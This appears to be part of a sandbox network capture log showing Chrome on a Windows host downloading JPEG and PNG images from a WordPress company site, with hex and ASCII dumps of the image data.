2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 09 24 f4 1b 47 e2 29 c9 25 25 e6 89 d7 91 df a3 33 7e 2d 5f 79 be 19 fb 6e ef 39 2c 6f a2 74 40 e7 84 50 54 9c fd 07 3c f6 ae ca e2 ea cf c4 1a 04 f0 c7 35 95 c3 6a 50 8c b2 e3 72 09 14 67 e5 ec 72 7d b0 05 47 e2 dd 0e cf c5 1e 11 b9 b2 6b 68 d2 4b 88 98 6e 8d 36 8d e7 93 d0 75 00 11 ff 00 eb ac 9f 87 1a 45 8e bd f0 f2 c2 e3 6a ad d5 bc be 54 bb 5b ca da 54 61 77 63 9c 13 91 9e 99 04 57 3b b3 82 7d 99 a7 33 e6 b7 74 53 f8 3d 3f da 7c 29 6e 92 36 d4 d3 2f 25 8a 6c 90 1d ce 41 51 b7 fb b8 61 f8 9a 8e cc b5 b7 c5 ed 4d 63 0d 02 ea 71 2c 81 66 6d db 0e 46 7e a4 80 7f 3a a3 e1 9d 01 74 8f 1e eb b6 1f 6c 99 63 9b 65 c2 2b c9 f7 51 89 dc 4f 40 73 b3 93 e8 a3 da b1 7e 23 db cf a5 78 c3 46 be 8e e9 d5 a4 bb 58 30 54 ed 50 d9 1f 2e ef 75 ef ed 5d 51 85 e6 f5 dd 7f Data Ascii: $G)%%3~-_yn9,ot@PT<5jPrgr}GkhKn6uEjT[TawcW;}3tS=?\|)n6/%lAQaMcq,fmF~:tlce+QO@s~#xFX0TP.u]Q
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: db 3f 81 a8 cd fb 4a 16 e3 74 6d b4 16 d8 73 dc 00 47 1d ff 00 01 57 d0 ce 5a 31 ef 70 25 6c c9 1c 6d 14 89 fb ff 00 93 69 5c e7 07 3f 5c fe 54 f9 9a 28 d5 06 e2 92 23 a6 1d c9 03 e6 f9 79 ec 08 c0 1d 79 aa b3 4a d0 dc 96 c4 bb 26 4d aa aa bb ba e7 be 3f 3a 92 d1 26 36 e9 25 d4 9e 4a ee 2a 55 4e 37 15 e9 81 cf b1 cd 50 d4 ba 12 34 ec f9 8d d5 44 6c dc 29 51 f3 8e ad 8e de 9e fd 69 b0 4f 19 91 e4 93 74 31 46 c0 9f dd 92 ac 3b 74 f5 e4 54 77 1f 35 d2 da b2 4c 55 8f 0d 21 01 54 7a 93 eb ed e8 2a 24 9b 65 d4 38 91 de 39 b6 bc 8f 9f 95 8f 7e 3a 60 7d 6a d4 48 94 b5 2d c7 e6 4a 7c 9e 5b 63 31 c4 4c 78 e9 9c 7b 63 18 fa f5 a2 69 9a dc 47 e6 15 8d d1 72 09 1d c1 db 90 0f 53 8e e7 f0 aa b6 f3 2b da c8 77 bd bc 21 b2 c1 9b a8 3d 1b f9 7b 55 7b c6 f2 ae 14 c8 a5 4b Data Ascii: ?JtmsGWZ1p%lmi\?\T(#yyJ&M?:&6%JUN7P4Dl)QiOt1F;tTw5LU!Tz$e89~:`}jH-J\|[c1Lx{ciGrS+w!={U{K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49752	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	626	OUT	GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:54:08 GMT Accept-Ranges: bytes Content-Length: 30674 Content-Type: image/jpeg
2024-10-07 12:10:14 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 82 83 41 a0 56 a7 8a 96 ef e4 46 fe 5b fe 95 f3 2b f1 b1 46 3b 2f e6 79 d4 fd 81 18 a6 08 b5 d0 cb 41 3a 2d 74 4a aa 2a a1 19 2c ed 67 36 72 c1 55 0e 76 7a d1 fa 6f 71 23 f0 d4 93 4e e4 7d 83 92 d1 8d 16 ab 6f b9 48 13 75 d9 c0 96 36 1c 38 b5 2c 24 b8 f1 3f 72 39 77 35 33 19 51 31 15 4a b4 b4 5a 09 69 7b ea 47 72 cd e5 4f d3 a0 51 d9 cd 56 b9 09 ba 82 7c a6 aa 6c 91 0a 50 d0 7e 2a 2d 91 8d 5a 31 e7 41 fc 7a 16 0c 7a 93 a5 a0 a7 04 ab 67 66 aa 32 e4 34 0d 56 95 99 44 88 f1 92 9b 20 0e 0a be 7c 92 6b 4d 54 26 c9 0e ad 12 ae 94 12 a7 6f 21 f4 1e b8 56 ef e4 69 ee 73 b8 14 2f 35 2f 6a fd 8a 4e 94 77 21 ba 42 42 8d b3 be ac aa c6 61 a8 d7 54 37 17 0a d1 61 92 bd ca 05 e4 f1 52 79 ed ec 37 15 d8 ca b8 9b ad 10 6b 55 b0 4d aa 42 df 62 95 b2 b6 f5 63 2a a8 07 b7 Data Ascii: AVF[+F;/yA:-tJ,g6rUvzoq#N}oHu68,$?r9w53Q1JZi{GrOQV\|lP~-Z1Azzgf24VD \|kMT&o!Vis/5/jNw!BBaT7aRy7kUMBbc*
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 57 d5 b0 8a 88 5a 5c aa 32 7e a6 cc 96 a1 80 34 1e 2b ca cd 9a 93 bc 9e 8e 3c 77 8d a0 eb e5 9d 8d 07 73 80 48 4f d5 31 62 a8 74 82 a3 b5 71 92 67 66 e4 3b 69 7b 89 36 da 38 ab 4e 9f f4 d6 56 5f ea e5 93 14 7a d0 fc c5 66 79 a7 ed af c5 ec 5e b4 7a 26 e5 be 88 7c f5 a8 e5 7f a5 8a c3 2b ce 81 a1 58 63 e2 e4 c9 49 32 8e d1 f9 07 da 99 c3 e9 b8 b8 2d 0d 82 30 0f 17 1d 4a 70 36 f7 ba 95 fc 87 b5 5c bf d0 be 3c 0b 7b 2f 81 06 34 01 b5 a2 80 70 08 8d a7 15 80 1a d9 49 a1 b5 f3 6a b3 5a f6 6e 6c e5 9a 15 52 d8 db 6a e3 6f 6a 0e 49 1b a8 4d 9b 73 de 99 1e 56 b9 c7 40 92 9c 13 0b de 78 dc a8 e5 b6 91 dc ae 3a eb fa 14 7d 4b ad 36 09 43 61 35 db f3 72 aa 6f a2 f5 d8 fa 83 ce 34 a3 64 d4 f2 f6 d1 72 59 d1 b8 e4 c9 5b 55 d6 51 c2 2f c7 cb 86 56 d4 16 3c 1a f8 a9 aa Data Ascii: WZ\2~4+<wsHO1btqgf;i{68NV_zfy^z&\|+XcI2-0Jp6\<{/4pIjZnlRjojIMsV@x:}K6Ca5ro4drY[UQ/V<
2024-10-07 12:10:14 UTC	6716	IN	Data Raw: 72 a6 4a 77 52 8f 1b 85 c1 b5 6b b8 22 ee a1 08 dd 6b 10 f4 ee b3 99 86 45 04 72 b8 34 76 56 c9 6e de 6b ae 92 b4 f7 d5 14 c3 6e 58 d7 c8 1e 4b 79 70 4a 34 55 d7 1d a9 f9 46 e6 57 92 5d ad f3 68 83 70 8e 4b ea 1a c7 6e 8a d7 1d b4 55 f8 cd b8 56 31 da 8b 1e 5d cd 58 c6 4b a9 42 a2 f3 40 79 1b ac ad 94 24 36 05 43 8e a5 5b d0 1e e0 b1 0e a7 9a c4 dc 48 1e 5f ea 01 7a 85 7b f4 af 46 c7 eb 39 bb 32 df b2 26 8a d0 6a e4 87 45 e8 8f ea 8e bb ac 74 03 b1 5b 9e 97 36 16 48 c5 8a ad 75 2a 0b 79 77 a6 be 5a b5 7a ab 71 69 49 86 98 6e 9d 2c eb c9 3b 46 a4 fa c7 4e c4 c0 ea 0f c4 c3 76 f6 33 88 bd 0f 24 38 70 9c e3 57 59 37 fb 76 41 e6 92 ef 1a d5 41 d9 36 a3 6c b1 ab da dd 7e 27 a1 c2 b5 e8 97 a2 09 96 c8 db 8e d6 8a 54 2a fa fb 13 42 19 e7 ad 05 92 c5 85 8f 2c 7d Data Ascii: rJwRk"kEr4vVnknXKypJ4UFW]hpKnUV1]XKB@y$6C[H_z{F92&jEt[6HuywZzqiIn,;FNv3$8pWY7vAA6l~'TB,}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49749	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	626	OUT	GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:16 GMT Accept-Ranges: bytes Content-Length: 41140 Content-Type: image/jpeg
2024-10-07 12:10:14 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: dd e5 e3 64 2a cc cb 58 85 f8 fe 91 da 69 74 71 e6 75 29 82 8b b7 77 e5 51 46 e5 e1 99 33 4c 67 5d a4 28 15 a5 c2 c2 87 07 1c 20 1e 6b 5d cf 7d 22 ab bd 9c e1 22 8e f5 eb aa 85 2d 83 60 60 8c 3c 75 8d ce e3 c4 9a 2d a4 08 38 57 24 97 52 69 4e 6e 73 c6 4c 71 fc e4 6a dd 83 bb be aa da aa f6 24 93 b3 f7 0b c8 c9 54 36 92 45 53 fa 79 fc 2a fc 47 f5 23 de 0d f5 e3 48 b1 31 25 c9 6d ed 71 1d fc cc 79 d3 f8 11 20 85 63 41 a1 d6 c6 96 8d bc b5 08 37 49 28 4e 58 48 3c 2a 6a 57 8b 72 a1 da 4d ab 7f 75 0b 36 42 c6 2f 34 9b 2f c1 7f 37 ba a8 ed 02 2a c8 e0 49 1b a1 50 7d b4 ba 4e 9d 1c d7 12 00 57 95 f8 d0 d8 99 2b 2c bb 63 62 7c 45 a9 90 26 dc 4f 7d 6a b9 c9 9a 81 1f 53 e9 98 38 78 92 4f 39 0d 02 db 74 6c 03 5e e6 c0 0a cf 8e 97 8d b8 e4 74 3c a6 c4 97 f3 46 09 28 Data Ascii: dXitqu)wQF3Lg]( k]}""-``<u-8W$RiNnsLqj$T6ESyG#H1%mqy cA7I(NXH<jWrMu6B/4/7IP}NW+,cb\|E&O}jS8xO9tl^t<F(
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: e7 4c 10 b8 f0 90 f9 3f a4 f9 ac 3f 53 f7 d0 f2 4e d8 dd 2e 0c 9c 34 55 95 dd a3 9e 62 37 38 61 c3 6d f8 5e 81 c6 56 50 64 72 4c 8f a9 27 8e b5 95 ad ab 6d b6 a6 7d 03 0b 65 09 0d 30 df d6 2c ed a5 b5 99 7b 3f 8d 7b bb 7b 29 c4 72 fa 5f 27 cb f7 56 59 e5 92 27 0f 1b 6d 75 3e 52 39 53 7c 4c c5 96 07 65 16 65 17 92 21 f9 47 eb 4f e1 ed 1c a9 e9 65 a6 e2 5a af 50 dc a3 1e 74 66 29 06 e8 8f e5 e6 0f ea 1d f4 9a 5e 91 36 08 59 1c 6f 85 bf d3 94 0d 3c 0f 61 a6 d8 88 59 83 8f 93 8d f9 1a d1 e3 bc 72 47 e9 a9 da 0f e5 a6 5d 7c f2 f0 2d af c7 0b 26 34 e4 12 23 00 82 c4 9b fb 8d 6a 30 25 3f b5 c7 01 c1 3b 45 c5 2a eb 8c 03 79 23 59 12 fb 4e d5 0b 6e f3 6f ba 9d f4 4e 96 ab d2 f1 b2 64 6f 3b 8f 2a f6 00 48 d6 91 55 ab b4 b3 03 36 b8 26 f1 21 82 f5 6a 46 5b 8f 0a 98 Data Ascii: L??SN.4Ub78am^VPdrL'm}e0,{?{{)r_'VY'mu>R9S\|Lee!GOeZPtf)^6Yo<aYrG]\|-&4#j0%?;Ey#YNnoNdo;HU6&!jF[
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 3a ff 00 58 18 38 e6 d6 67 93 48 d0 7e 63 f8 0e 75 1b d9 2c bd 8a 56 ad b8 5b 82 7d 43 f5 12 e3 29 82 23 72 74 50 34 2d e3 d8 2b 0d 34 e7 2a 43 36 5c b7 3c 90 6a 00 ec 14 74 7d 13 ac f5 89 0e 4a 26 e5 93 5f 59 d8 2a 9d 6d 61 c4 e9 dc 2b 43 d3 be 84 8a 30 24 cf 9c b4 83 53 1c 62 ca 3d ac 09 3e ea e6 6a f7 73 18 3a 57 0e b5 13 93 28 91 2c 89 fd 38 cd b9 33 69 7f 60 ae 1c 09 e5 6d 91 ad d8 fe 54 17 35 f4 b8 3a 07 4a 82 df d0 0e 7f 54 84 b0 f6 83 a7 c2 98 c1 14 70 d8 45 1a a2 db e5 45 0a 3e 14 cb a3 cb f8 03 ee f0 8f 99 7f e9 9e b1 e8 7a 91 63 ba 58 5c bb 9d 9a 7f 88 83 5e 4e 9d 9b d3 d1 5b 2e 55 90 49 e5 58 c1 2d 6b 71 d4 8a fa a1 01 d4 a9 17 04 58 83 c2 94 66 7d 29 36 70 12 63 32 9f 4c b6 c5 70 48 b3 0e 06 dd 94 cf a6 3f 1c 81 77 ff 00 db 06 11 e3 04 76 83 Data Ascii: :X8gH~cu,V[}C)#rtP4-+4C6\<jt}J&_Yma+C0$Sb=>js:W(,83i`mT5:JTpEE>zcX\^N[.UIX-kqXf})6pc2LpH?wv
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: ca c1 51 78 9e 26 dd d4 2a 3b cc 82 45 0c 4d 89 55 92 ea 6f d8 41 d6 86 cc 94 b3 84 4d 15 34 20 73 3c ef 51 75 dd 94 5e 02 b3 7a 8c 92 79 61 fe 9c 5c 15 47 12 a3 b4 f7 9a bf 0f a7 65 88 3f ea 13 13 1a de d0 a9 b9 67 6f e5 ec 15 5f 4b c6 d0 64 4c bb bf e5 29 d4 7f 37 e1 4e 24 ca 95 95 50 93 b1 78 2f 2f 65 56 bd 4e d5 96 c4 b5 d5 5c 55 7b 99 4e bf 0e 5c 71 6f 91 da 46 63 e6 66 e2 49 ee ac ca 74 fc a9 48 2a a5 58 6a 18 f9 6d 5f 42 ce 55 97 19 d4 fc e4 68 79 f1 f8 d2 09 57 6b 59 f4 ec 35 1b f4 25 69 6d 94 a7 6b e3 a1 4c 7b d5 14 4a c1 9c 0b 31 02 ba f2 c5 18 f3 b8 5e 7a 9a f4 8a 76 95 07 69 3c 08 a5 f2 43 b4 92 56 fa db 70 e1 4c db 4b 06 49 3d 4b db a9 c2 87 c9 b9 88 e1 6d 29 cf 4b ea 09 9b 0b 45 28 f2 9e 44 f2 ac d1 44 f0 a7 1d 23 01 cc b1 c9 15 b6 1b b6 bc Data Ascii: Qx&;EMUoAM4 s<Qu^zya\Ge?go_KdL)7N$Px//eVN\U{N\qoFcfItHXjm_BUhyWkY5%imkL{J1^zvi<CVpLKI=Km)KE(DD#
2024-10-07 12:10:14 UTC	1182	IN	Data Raw: b9 e4 7c 68 be ab 34 38 f2 a3 46 41 07 43 b7 ba 80 93 d5 dd e6 e1 7e 5c 2a ec df 4b 6b 7a 9f 2d b5 ad 9d 91 b1 bb 0b e9 79 38 39 0e fe a1 2b 37 2b 73 a3 82 c7 89 d4 e0 53 2a 49 14 eb b2 42 bf 2a 9b e8 c4 f7 5f 5a c6 2e ef 54 7a 3b af 7f 2d b8 d3 4f fc e6 d8 f7 de db bf a7 7d b7 bf f8 68 4e 72 91 a3 18 6c dc 97 80 31 1b a4 9d b8 15 8c 69 a7 2b d7 77 4d a0 48 d2 0e f7 3b db ef aa c7 af 68 3d 4f d1 fd 6b 70 df 61 f2 ed d2 dc 68 4c af fa cf ff 00 67 e8 ed fc bb 7e 7f ff 00 72 a9 9d e7 e8 4f fe 64 62 b8 e6 63 ba 69 64 95 46 bc 36 20 f1 3a d2 ec ee ab d3 e3 26 38 9a 38 d1 74 f2 dd dc db 99 e3 59 ee a3 ff 00 5a f4 db f7 3e ae de 7b ef b7 f0 a5 11 6c f5 07 ee fd 4f 4b 9f a5 6d df ef 69 4a db 8c 24 bd f5 19 25 39 7e d1 a1 a1 9b ea 08 17 e4 56 92 dc 0b 1d a3 dc 2f Data Ascii: \|h48FAC~\Kkz-y89+7+sSIB*_Z.Tz;-O}hNrl1i+wMH;h=OkpahLg~rOdbcidF6 :&88tYZ>{lOKmiJ$%9~V/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49756	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	700	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:00 GMT Accept-Ranges: bytes Content-Length: 14686 Content-Type: image/png
2024-10-07 12:10:14 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c1 00 00 00 0c 08 06 00 00 00 42 d6 bf f7 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 31 34 20 37 39 2e 31 35 36 37 39 37 2c 20 32 30 31 34 2f 30 38 2f 32 30 2d 30 39 3a 35 33 3a 30 32 20 20 Data Ascii: PNGIHDRBtEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02
2024-10-07 12:10:14 UTC	6727	IN	Data Raw: 23 28 98 92 7f 5c 4b 33 5d 07 63 cc ed e2 c3 97 bd 2d 56 7e d7 b2 8a c4 d8 84 a0 c4 f6 04 bc bb 6c 87 a8 8a 19 ba 6b f5 51 8e ed 4b b3 e8 4e 63 2f a1 99 cc f0 f9 3a f6 20 08 fe c9 62 df 6b 26 2b 71 a6 d6 f1 2a aa 79 9f 87 be c1 af 2b dc 08 75 49 18 61 24 2c aa 7b b9 39 a2 52 b8 e5 db 3d d8 b8 6a 17 06 8f 29 c5 c1 27 8d 41 65 f1 00 68 e1 1f e8 1e f3 d0 21 ba df 63 81 82 49 9f ee f1 8a 8a 31 1b 98 1d 9a 90 8a 4e f6 f7 f6 76 fb 64 67 e7 7c 5d f6 48 ef 33 3e 9a 72 4e 24 eb 58 cb 85 f9 f9 44 4e cf d6 17 4a 92 87 cf 20 a7 f3 12 f4 70 24 56 69 f3 94 8d 40 d6 2f 2e 87 67 f8 b1 f6 aa 99 a3 85 c6 a9 2f 56 8b 96 ec 95 79 15 30 5e 1e ac 20 b0 6d fa 8c a4 a5 45 06 5a 61 02 86 ea ad 5b 81 e6 fa 18 dd 6c 9e bc b9 30 03 f9 5a fa c2 ef 4f 38 df 7d b7 8f 64 fa 9c 49 f2 ab Data Ascii: #(\K3]c-V~lkQKNc/: bk&+q*y+uIa$,{9R=j)'Aeh!cI1Nvdg\|]H3>rN$XDNJ p$Vi@/.g/Vy0^ mEZa[l0ZO8}dI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49758	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	407	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:04 GMT Accept-Ranges: bytes Content-Length: 17604 Content-Type: image/png
2024-10-07 12:10:14 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 eb 00 00 00 ca 08 06 00 00 00 44 fa b7 46 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRDFtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: ef 02 de a3 46 8d d2 5d 46 9d 00 3f c2 ff 5e 50 4a fe 35 5b ea 91 2d f7 e8 e6 00 8d d8 5a 37 fc 45 b9 de 7c f3 cd f5 b4 47 55 ca 96 b3 f3 59 ca ae 5f bf 7e b5 04 ab ee c1 e8 66 b7 0a 66 41 d8 56 86 36 79 2f 56 4b 0e 52 d4 54 58 38 28 40 d1 84 95 b7 aa a0 92 d1 3c 7f 2c 13 2c 0a dc 3b a9 e0 1e 0d 73 55 cb 02 72 73 30 ba 35 20 74 73 b0 d6 a8 5b ad 12 e2 a2 54 66 60 65 cb d4 b9 84 0b 60 cb d8 39 79 bf 97 6e c6 15 00 fc 6e e1 a6 dd 49 02 a7 b4 a6 8f 76 12 61 8d 47 73 36 d8 44 96 a1 27 cf 57 ad 5a 55 a6 f8 ae f2 66 ea 71 71 66 ae 4b f8 2f 5f 96 45 58 5d 91 86 55 11 c0 e2 41 f5 53 56 aa 9d 6b 02 38 9e 78 b3 91 00 d6 f2 b0 fe e1 0f 7f 68 81 3d fc 45 59 fc 20 52 09 3e 1b 3b 1f f9 69 51 3d 77 ac 53 75 75 35 2a ab 42 a1 2c d6 92 df 6e 56 6c 6a 39 18 6b 35 80 e5 4d Data Ascii: F]F?^PJ5[-Z7E\|GUY_~ffAV6y/VKRTX8(@<,,;sUrs05 ts[Tf`e`9ynnIvaGs6D'WZUfqqfK/_EX]UASVk8xh=EY R>;iQ=wSuu5*B,nVlj9k5M
